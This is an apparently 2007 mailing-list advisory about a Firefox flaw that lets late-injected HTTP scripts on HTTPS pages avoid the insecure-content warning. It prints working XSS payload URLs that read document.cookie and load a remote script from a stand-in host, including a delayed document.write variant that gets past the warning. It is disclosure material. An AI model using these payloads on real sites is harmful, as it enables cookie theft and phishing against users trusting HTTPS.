Date: Wed, 4 Apr 2007 13:29:14 +0200
From: "Michal Majchrowicz" <m.majchrowicz@gmail.com.>
To: [email protected], [email protected],
Subject: Mozilla Firefox Insecure Element Stealth Injection Vulnerability
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Google-Sender-Auth: debb2998ec1e5c41
X-Virus-Scanned: antivirus-gw at tyumen.ru
When user visits sites over HTTPS protocol he is informed by the Web
Browser everytime the site tries to load unsecured (using HTTP
protocol) element (script/iframe/object etc.).
So for instance if we have XSS vulnerable site
https://server.com/vuln.php?id="><script>alert(document.cookie);</script>
Everybrowser will execute it without any complains since they cannot
know where the code comes from. But this example will cause a warning:
https://server.com/vuln.php?id="><script
src="http://server2.com/xss.js"></script>
Web Browser knows that we are trying to load something over unsecure protocol.
However Mozilla Firefox will fail with the following example and the
user will think that all the elements are "safe":
https://server.com/vuln.php?id="><script>setTimeout("document.write('<script
src=http://server2.com/xss.js>;</script>',10000)"</script>
The "insecure element" will be added after Web Browser performs
checking therefore allowing for instance phising attacks. Internet
Explorer is not vulnerable to this issue. Other Web Browser weren't
tested.
